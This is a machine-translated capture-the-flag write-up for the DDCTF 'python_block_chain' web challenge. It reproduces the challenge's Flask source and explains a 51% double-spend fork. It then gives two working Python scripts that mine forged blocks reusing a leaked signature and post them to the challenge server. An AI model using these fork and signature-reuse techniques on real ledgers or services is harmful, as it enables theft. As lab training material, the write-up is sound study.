Attack and defense world web advanced zone Web_ python_ block_ Details of chain

wuming 2021-01-21 16:53:30
attack defense world web advanced


  1. 1. subject
    1. 1.1. Detailed explanation
      1. 1.1.1. 51% Double flower attack
      2. 1.1.2. Reference link :

subject

Detailed explanation

Let's sort it out

Announcement: The server has been restarted at 21: 45 04 / 17.All blockchain have been reset.View source code
hash of genesis block: 1787809bc3d510a8137f05be51aca5b4597112339cd51f819ccd979372ef336c
the bank 's addr: a7a2fa8a252dd7fac9d829eb4ee9c1be86414698b8483b2d3d13074df0d7d948003696c743f16bea01f8afffa84c69f7, the hacker'
s addr: aa182824bb8333cf921fbb0abf016be5af39c4df2a41f1d31815269e43c6322afbc9c705df18ea79573c3a33bcd93f05, the shop 's addr: d41e4e086a7d3c91016bfcd7da6d38a9728d58f156c9086252b5f3e731932e18d9dca44381f8aedbe1699ac764fc5be3
Balance of all addresses: {"aa182824bb8333cf921fbb0abf016be5af39c4df2a41f1d31815269e43c6322afbc9c705df18ea79573c3a33bcd93f05": 999999, "a7a2fa8a252dd7fac9d829eb4ee9c1be86414698b8483b2d3d13074df0d7d948003696c743f16bea01f8afffa84c69f7": 1, "d41e4e086a7d3c91016bfcd7da6d38a9728d58f156c9086252b5f3e731932e18d9dca44381f8aedbe1699ac764fc5be3": 0}
All utxos: {"62e42ed2-2272-45ec-86d1-f2463ddcbab3": {"amount": 1, "hash": "a896223f24c694d0212f6a50443b903f845a0033b6b46bc9659fe1013adae8ff", "addr": "a7a2fa8a252dd7fac9d829eb4ee9c1be86414698b8483b2d3d13074df0d7d948003696c743f16bea01f8afffa84c69f7", "id": "62e42ed2-2272-45ec-86d1-f2463ddcbab3"}, "3c6d2037-a785-4d74-a163-b51fccd2d77f": {"amount": 999999, "hash": "c0edc0374d8b87525e42448b3af2b6731df8ca20118c6b785e7ac52af97bf92e", "addr": "aa182824bb8333cf921fbb0abf016be5af39c4df2a41f1d31815269e43c6322afbc9c705df18ea79573c3a33bcd93f05", "id": "3c6d2037-a785-4d74-a163-b51fccd2d77f"}}
Blockchain Explorer: {"7f8b142cca7eefa7f4904943c74f9b6bb8dcb3600b465170afb1a22b9056fc26": {"nonce": "HAHA, I AM THE BANK NOW!", "prev": "1787809bc3d510a8137f05be51aca5b4597112339cd51f819ccd979372ef336c", "hash": "7f8b142cca7eefa7f4904943c74f9b6bb8dcb3600b465170afb1a22b9056fc26", "transactions": [{"input": ["58de72c9-d820-475f-b9f6-d5dcbc761781"], "signature": ["20524654bcd19b2b27e7132e2bd5897c9b0eac039c551127aeff5272fc091c287336e3427174381d4ed02df3f96dd0e4"], "hash": "a68b9af63f8f30ae1186a20a52ed35f876fa3f21d9eb0dfd66d1ff690718136c", "output": [{"amount": 999999, "hash": "c0edc0374d8b87525e42448b3af2b6731df8ca20118c6b785e7ac52af97bf92e", "addr": "aa182824bb8333cf921fbb0abf016be5af39c4df2a41f1d31815269e43c6322afbc9c705df18ea79573c3a33bcd93f05", "id": "3c6d2037-a785-4d74-a163-b51fccd2d77f"}, {"amount": 1, "hash": "a896223f24c694d0212f6a50443b903f845a0033b6b46bc9659fe1013adae8ff", "addr": "a7a2fa8a252dd7fac9d829eb4ee9c1be86414698b8483b2d3d13074df0d7d948003696c743f16bea01f8afffa84c69f7", "id": "62e42ed2-2272-45ec-86d1-f2463ddcbab3"}]}], "height": 1}, "1787809bc3d510a8137f05be51aca5b4597112339cd51f819ccd979372ef336c": {"nonce": "The Times 03/Jan/2009 Chancellor on brink of second bailout for bank", "prev": "0000000000000000000000000000000000000000000000000000000000000000", "hash": "1787809bc3d510a8137f05be51aca5b4597112339cd51f819ccd979372ef336c", "transactions": [{"input": [], "signature": [], "hash": "42940579eeabd8348095513b1608464107658a320f634ac8bbb971e36d1574fd", "output": [{"amount": 1000000, "hash": "6a36554f99a0544afc0f360cb19593cfdb6cd010fffdb1bc3054130df63b47d5", "addr": "a7a2fa8a252dd7fac9d829eb4ee9c1be86414698b8483b2d3d13074df0d7d948003696c743f16bea01f8afffa84c69f7", "id": "58de72c9-d820-475f-b9f6-d5dcbc761781"}]}], "height": 0}, "75bbd4f6185f5f468ea21af512580e196869ed72e89898af5d9343627f1299af": {"nonce": "a empty block", "prev": "7f8b142cca7eefa7f4904943c74f9b6bb8dcb3600b465170afb1a22b9056fc26", "hash": "75bbd4f6185f5f468ea21af512580e196869ed72e89898af5d9343627f1299af", "transactions": [], "height": 2}}

visit /source_code, Get the source code :

Visit a beautification page from here https://www.html.cn/tool/js_beautify/

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request
from pycallgraph import PyCallGraph
from pycallgraph import Config
from pycallgraph.output import GraphvizOutput
app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = ''
def FLAG():
return 'Here is your flag: DDCTF{******************}'
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def has_attrs(d, attrs):
if type(d) != type({}): raise Exception("Input should be a dict/JSON")
for attr in attrs:
if attr not in d:
raise Exception("{} should be presented in the input".format(attr))
EMPTY_HASH = '0'*64
def addr_to_pubkey(address):
return rsa.PublicKey(int(address, 16), 65537)
def pubkey_to_address(pubkey):
assert pubkey.e == 65537
hexed = hex(pubkey.n)
if hexed.endswith('L'): hexed = hexed[:-1]
if hexed.startswith('0x'): hexed = hexed[2:]
return hexed
def gen_addr_key_pair():
pubkey, privkey = rsa.newkeys(384)
return pubkey_to_address(pubkey), privkey
bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()
def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
def find_blockchain_tail():
return max(session['blocks'].values(), key=lambda block: block['height'])
def calculate_utxo(blockchain_tail):
curr_block = blockchain_tail
blockchain = [curr_block]
while curr_block['hash'] != session['genesis_block_hash']:
curr_block = session['blocks'][curr_block['prev']]
blockchain.append(curr_block)
blockchain = blockchain[::-1]
utxos = {}
for block in blockchain:
for tx in block['transactions']:
for input_utxo_id in tx['input']:
del utxos[input_utxo_id]
for utxo in tx['output']:
utxos[utxo['id']] = utxo
return utxos
def calculate_balance(utxos):
balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
for utxo in utxos.values():
if utxo['addr'] not in balance:
balance[utxo['addr']] = 0
balance[utxo['addr']] += utxo['amount']
return balance
def verify_utxo_signature(address, utxo_id, signature):
try:
return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
except:
return False
def append_block(block, difficulty=int('f'*64, 16)):
has_attrs(block, ['prev', 'nonce', 'transactions'])
if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
tail = session['blocks'][block['prev']]
utxos = calculate_utxo(tail)
if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
new_utxo_ids = set()
for tx in block['transactions']:
has_attrs(tx, ['input', 'output', 'signature'])
for utxo in tx['output']:
has_attrs(utxo, ['amount', 'addr', 'id'])
if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
new_utxo_ids.add(utxo['id'])
if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
try:
addr_to_pubkey(utxo['addr'])
except:
raise Exception("invalid type of address({})".format(utxo['addr']))
utxo['hash'] = hash_utxo(utxo)
tot_output = sum([utxo['amount'] for utxo in tx['output']])
if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
tot_input = 0
tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
for utxo_id, signature in zip(tx['input'], tx['signature']):
if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
utxo = utxos[utxo_id]
if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
tot_input += utxo['amount']
del utxos[utxo_id]
if tot_output > tot_input:
raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
tx['hash'] = hash_tx(tx)
block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height']+1
if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
session['blocks'][block['hash']] = block
session.modified = True
def init():
if 'blocks' not in session:
session['blocks'] = {}
session['your_diamonds'] = 0
# First, the bank issued some DDCoins ...
total_currency_issued = create_output_utxo(bank_address, 1000000)
genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
session['genesis_block_hash'] = genesis_block['hash']
genesis_block['height'] = 0
session['blocks'][genesis_block['hash']] = genesis_block
# Then, the bank was hacked by the hacker ...
handout = create_output_utxo(hacker_address, 999999)
reserved = create_output_utxo(bank_address, 1)
transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)
# Can you buy 2 diamonds using all DDCoins?
third_block = create_block(second_block['hash'], 'a empty block', [])
append_block(third_block)
def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail
@app.route(url_prefix+'/')
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
balance_info = 'Balance of all addresses: ' + json.dumps(balance)
utxo_info = 'All utxos: ' + json.dumps(utxos)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
@app.route(url_prefix+'/flag')
def getFlag():
init()
if session['your_diamonds'] >= 2: return FLAG()
return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address
def find_enough_utxos(utxos, addr_from, amount):
collected = []
for utxo in utxos.values():
if utxo['addr'] == addr_from:
amount -= utxo['amount']
collected.append(utxo['id'])
if amount <= 0: return collected, -amount
raise Exception('no enough DDCoins in ' + addr_from)
def transfer(utxos, addr_from, addr_to, amount, privkey):
input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
outputs = [create_output_utxo(addr_to, amount)]
if the_change != 0:
outputs.append(create_output_utxo(addr_from, the_change))
return create_tx(input_utxo_ids, outputs, privkey)
@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
balance, utxos, tail = get_balance_of_all()
if balance[bank_address] == 0: return 'The bank has no money now.'
try:
address = str(address)
addr_to_pubkey(address) # to check if it is a valid address
transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
append_block(new_block)
return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
except Exception, e:
return 'ERROR: ' + str(e)
DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg
# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
if 'blocks' in session: del session['blocks']
if 'genesis_block_hash' in session: del session['genesis_block_hash']
return 'reset.'
@app.route(url_prefix+'/source_code')
def show_source_code():
source = open('serve.py', 'r')
html = ''
for line in source:
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
source.close()
return html
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

After our visit , There is one python Source code

  1. List item

Title Description

 A bank uses blockchain Technology , Invented DiDiCoins The bookkeeping system . A gem store uses this method to complete the diamond sales and liquidation process . Unfortunately , The bank was hacked , The private key was stolen , All the mining machines that maintain the normal operation of the blockchain are also down . Now? , You can get back everything DDCoins, And buy it from the store 2 A diamond ?
matters needing attention : Blockchain exists cookie Inside , Maybe because the blockchain is too long , The browser does not accept the server return set-cookie The blockchain cannot be updated due to the field , Therefore, it is highly recommended to write scripts to send requests 

51% Double flower attack

  1. The solution to this problem is 51% ( Two flowers ) attack .
  2. Please distinguish it from the normal blockchain , You are the only player in the title environment , No one is competing with you ( dig ).
  3. Store transactions use 0 confirm , Not in reality 6 confirm .
  4. When bifurcation occurs , The rules of blockchain recognize the longest sub chain as the main chain , And give up the chain .
  5. Blockchain allows you to add empty blocks 51%( Two flowers ) The purpose of the attack is to void the transaction before the attack , The front here is not necessarily the front one , It depends a lot on your computing power . What's the advantage of voiding the previous deal ? Here we have to consider 0 Confirmation and 6 There's a big difference .

Have a look first 6 confirm :

When it comes to a deal , Block chaining P2P The Internet will broadcast the deal , The deal will be received by a mining node , And verify , If this mining node digs into a block ( Generated hash Meet the conditions ) after , And the transaction fee is enough to attract the node to pack into the block , Then the deal will be packaged into blocks . So there's a confirmation , The miner also took the corresponding handling fee . After this mining node is packaged , It will broadcast the block to other nodes . Other nodes verify and broadcast the block . If this block is verified by more mining nodes , That's more confirmation . In this way, the transaction is recorded in the bitcoin blockchain , And became part of the bitcoin ledger . If you get 6 After confirmation , We thought it would never change .

0 Confirmation is the same thing , It's that you don't need confirmation , It's like hand in hand delivery in our life , The difference is that we live in a centralized society , The bank will confirm for us . and 6 Confirmation is what needs to be done 6 personal ( The block was dug out ) It's a deal .

You can see that it's right 0 Confirmation and 6 Confirm to proceed 51%( Two flowers ) The difficulty of the attack is different ,6 It's obviously a lot more computational power to confirm , Because he's more than anyone else 6 Block .( It should be understood in this way , Maybe I need to continue to learn , Above , If there is something wrong, please contact me (jay80#protonmail.com) correct , Thank you very much .) Fortunately , The title is not to adopt 6 confirm .

And then look at the 51% attack , In fact, what I'm talking about here 51% It means computing power , In other words, this kind of attack requires the attacker to have the whole network 51% Calculation power , Because only in this way can we have a chance to make ourselves ( Dig out ) The block is faster than anyone else , And then according to the rules of blockchain : When bifurcation occurs , The rules of blockchain recognize the longest sub chain as the main chain , And give up the chain , To achieve the revocation of the original chain has existed in the transaction , The purpose of getting back the money used in the transaction , My other understanding here is that the transaction can be rolled back , To recover the stolen money .

With a simple understanding of the principle of attack , Let's see how this problem should be done in principle . Let's start with two of our own pictures :

The actual structure After understanding the principle , We'll start the actual attack from the code . First, let's look at what a standard block looks like , The following is actually the block of the bank stolen by hackers :

{
"nonce": "HAHA, I AM THE BANK NOW!",
"prev": "5bc355ab21fd7e07040e2882f36ff8fba90809cbaa27b80bc1439a6e85beec25",
"hash": "e31e1a9a8797d464304c34f215b65edf510bd0dd251fd5d23f9a41017aaba205",
"transactions": [
{
"input": [
"e95c5a89-3f0e-4bd6-a4bc-8ff006fa2a42"
],
"signature": [
"8cf74260504449ce72c537b587b534c7f93e459d97898faea8a3a68622bbe01f2117fba4cfd3cff69f12e209d74cf87c"
],
"hash": "a314b20a66ab94c735f0f82c47ea679869980eb98f0d937a27531f328374119c",
"output": [
{
"amount": 999999,
"hash": "513c7eb598f25efb6201f5f2df66842fc92a3890b6927d1b5563ab88ef87eeba",
"addr": "955c823ea45e97e128bd2c64d139b3625afb3b19c37da9972548f3d28ed584b24f5ea49a17ecbe60e9a0a717b834b131",
"id": "467e55e7-95a9-4551-b2f8-2d1321468fd4"
},
{
"amount": 1,
"hash": "748ac974d0cc1dbff6a19778e4e7c145e3cd569b26a872132ff7ca4ccab067fb",
"addr": "b2b69bf382659fd193d40f3905eda4cb91a2af16d719b6f9b74b3a20ad7a19e4de41e5b7e78c8efd60a32f9701a13985",
"id": "42155d27-4934-49d6-acc4-4a299cebe63f"
}
]
}
],
"height": 1 // This is generated by the system , We don't care
}

Follow the process , We should build a block to transfer money to the store . But by code , We can find that private key signature is needed when transferring money , That's it signature paragraph .

I'm stuck in this when I'm doing a question , I wonder if I can get the private key of the bank . But by looking at writeup Find out , This information can be left by hackers signature Go straight around , And the last step input You can also get it from the hacker's block . So we can directly construct the block for transferring money to the store , And through 51% The attack made the hacker recover the money transferred .

Let's release the complete payload Script , What needs to be specially reminded is to pay attention to the prev.

# -*- coding: utf-8 -*-
import json, uuid, hashlib
import random,string
EMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x) + hash(y))
# Yes output Conduct hash
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = str(hash_utxo(utxo))
return utxo
# Yes transactions Conduct hash
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
# For the whole block hash
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'],
reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
prev = "5bc355ab21fd7e07040e2882f36ff8fba90809cbaa27b80bc1439a6e85beec25"
input = ["e95c5a89-3f0e-4bd6-a4bc-8ff006fa2a42"]
signature = ['8cf74260504449ce72c537b587b534c7f93e459d97898faea8a3a68622bbe01f2117fba4cfd3cff69f12e209d74cf87c']
address = 'b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735'
output = [create_output_utxo(address,1000000)]
transactions = {
"input":input,
"signature":signature,
"output":output
}
# Yes transactions To sign
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)
# Blast ( dig , Find the right hash)
def fuzz(block, size=20):
CHARS = string.letters + string.digits
while True:
rnds = ''.join(random.choice(CHARS) for _ in range(size))
block['nonce'] = rnds
block_hash = str(hash_block(block))
# convert to 16 Base number
tmp_hash = int(block_hash, 16)
# POW Verification work
if tmp_hash < DIFFICULTY:
block['hash'] = block_hash
return block
# Create eligible blocks
block = {
"prev":prev,
"transactions":[transactions]
}
ok_block = fuzz(block)
print(json.dumps(ok_block))
# Create an empty block
empty_tmp = {
"prev" : ok_block['hash'],
"transactions" : []
}
empty_block1 = fuzz(empty_tmp)
print(json.dumps(empty_block1))
empty_tmp = {
"prev" : empty_block1['hash'],
"transactions" : []
}
empty_block2 = fuzz(empty_tmp)
print(json.dumps(empty_block2))
empty_tmp = {
"prev" : empty_block2['hash'],
"transactions" : []
}
empty_block3 = fuzz(empty_tmp)
print(json.dumps(empty_block3))
empty_tmp = {
"prev" : empty_block3['hash'],
"transactions" : []
}
empty_block4 = fuzz(empty_tmp)
print(json.dumps(empty_block4))

After running, you will get 5 Block , And then in turn post You can get flag

post The third one will get a diamond .

post The first 5 You'll get a second diamond when you get one .

And then visit /flag, To get flag. We can also use py2 Script

# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os,requests,re
# A bunch of variable constants
url_root="http://220.249.52.133:58044"
url_create="http://220.249.52.133:58044/create_transaction"
url_flag="http://220.249.52.133:58044/flag"
s=requests.Session()
ddcoin = s.get(url=url_root)
prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)
DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64
bank_addr="8aaa41fad552f9a2231bba5242c58df16da1840979e37f0a20d5912ca829d240df4a992bd6518123a1c7034844448465"
hacke_addr="a4e4ec9827a53e8cf88d5eda99a3b965c8ae8eb334c5863fb874f554ce80ebf814f510fe3aef1c5a6dfb64c3bd7de1ab"
shop_addr="9095cbe784e2c97c5076a9806171056356b8ee5d26ca9343af25e2a036a2301a82581c0044eee5c15cf3de9a2655e85b"
# In the source API
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo} # Changed the signature
tx['hash'] = hash_tx(tx)
return tx
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
# Method of construction
def check_hash(prev,tx):
for i in range(10000000):
current_block=create_block(prev,str(i),tx)
block_hash = int(current_block['hash'], 16)
if block_hash<DIFFICULTY:
print json.dumps(current_block)
return current_block
def create_feak_one():
utxo_first=create_output_utxo(shop_addr,1000000)
tx_first=create_tx([bank_utox_id],[utxo_first])
return check_hash(prev_one,[tx_first])
def create_empty_block(prev):
return check_hash(prev,[])
# The attack process
a=create_feak_one()
print s.post(url=url_create,data=str(json.dumps(a))).content
b=create_empty_block(a['hash'])
print s.post(url=url_create,data=str(json.dumps(b))).content
c=create_empty_block(b['hash'])
print s.post(url=url_create,data=str(json.dumps(c))).content
d=create_empty_block(c['hash'])
print s.post(url=url_create,data=str(json.dumps(d))).content
e=create_empty_block(d['hash'])
print s.post(url=url_create,data=str(json.dumps(e))).content
print s.get(url=url_flag).content

We need to change ip and 3 individual addr

Reference link :

https://delcoding.github.io/2018/04/ddctf-writeup4/

https://xz.aliyun.com/t/2299

https://www.360zhijia.com/anquan/375753.html

https://xuanxuanblingbling.github.io/ctf/web/2018/05/01/DDCTF2018-WEB4-%E5%8C%BA%E5%9D%97%E9%93%BE/

Participation of this paper Tencent cloud media sharing plan , You are welcome to join us , share .

版权声明
本文为[wuming]所创,转载请带上原文链接,感谢
https://pythonmana.com/2021/01/20210121165206984v.html

  1. Centos7 installing Python 3.8
  2. Centos7 installing Python 3.8
  3. Django——图书管理系统(六)
  4. Django——图书管理系统(五)
  5. Django -- library management system (6)
  6. Django -- library management system (5)
  7. python批量插入数据小脚本
  8. Python batch insert data script
  9. ZoomEye-python 使用指南
  10. Zoomeye Python User's Guide
  11. 用Python写代码,一分钟搞定一天工作量,同事直呼:好家伙 - 知乎
  12. Using Python to write code, one minute to complete a day's workload, colleagues call: good guy - Zhihu
  13. Python 上的可视化库——PyG2Plot
  14. Pyg2plot: a visualization library on Python
  15. Python 上的可视化库——PyG2Plot
  16. Python实用代码-无限级分类树状结构生成算法
  17. Pyg2plot: a visualization library on Python
  18. Python utility code - infinite classification tree structure generation algorithm
  19. 奇技淫巧,还是正统功夫?Python推导式最全用法
  20. Pandas 的这个知识点,估计 80% 的人都得挂!
  21. 前后端分离有什么了不起,手把手教你用Python爬下来!
  22. 在 Azure 上执行一些简单的 python 工作
  23. 推荐 :利用Python的混合集成机器学习(附链接)
  24. Cunning or orthodox Kung Fu? The most complete usage of Python derivation
  25. It's estimated that 80% of pandas people have to hang up!
  26. What's so great about the separation of front and rear ends? Hand in hand teach you to climb down with Python!
  27. Doing some simple Python work on azure
  28. Recommendation: hybrid integrated machine learning using python (link attached)
  29. Learning PPO algorithm programming from scratch (Python version)
  30. Python OpenCV 图片模糊操作 blur 与 medianBlur
  31. Python OpenCV image blur operation blur and mediablur
  32. 成功解决cv2.error: OpenCV(4.1.2) C:\projects\opencv-python\opencv\modules\imgproc\src\color.cpp:182: err
  33. Cv2.error solved successfully: opencv (4.1.2) C:: (projects / opencv Python / opencv modules / imgproc / SRC)\ color.cpp:182 : err
  34. Python 中使用 virtualenv 管理虚拟环境
  35. Using virtualenv to manage virtual environment in Python
  36. 如何使用Python执行系统命令?Python学习教程!
  37. How to use Python to execute system commands? Python tutorial!
  38. 快速掌握Python中的循环技术
  39. Quickly grasp the loop technology in Python
  40. Python主流Web框架之Tornado
  41. appium+python自动化63-使用Uiautomator2报错问题解决
  42. Tornado: the mainstream Python Web Framework
  43. Appium + Python automation 63 - using uiautomator2 to solve the problem of error reporting
  44. 爬虫+django,打造个性化API接口
  45. Crawler + Django to create personalized API interface
  46. 爬虫+django,打造个性化API接口
  47. Crawler + Django to create personalized API interface
  48. C、C++、Java、PHP、Python主要应用在哪里方面?
  49. C. Where are the main applications of C + +, Java, PHP and python?
  50. Python 无限级分类树状结构生成算法 「实用代码」
  51. Python infinite classification tree structure generation algorithm "practical code"
  52. 【Azure 存储服务】Python模块(azure.cosmosdb.table)直接对表存储(Storage Account Table)做操作示例
  53. [azure storage service] Python module( azure.cosmosdb.table )Direct operation example of storage account table
  54. 【Azure 存储服务】Python模块(azure.cosmosdb.table)直接对表存储(Storage Account Table)做操作示例
  55. [azure storage service] Python module( azure.cosmosdb.table )Direct operation example of storage account table
  56. openpose c++ 配置教程 + python api
  57. Openpose C + + configuration tutorial + Python API
  58. PYTHON爬虫实战_垃圾佬闲鱼爬虫转转爬虫数据整合自用二手急速响应捡垃圾平台_3(附源码持续更新)
  59. 使用python javaSerializationTools模块拼接生成 8u20 Gadget
  60. 萌新入门之python基础语法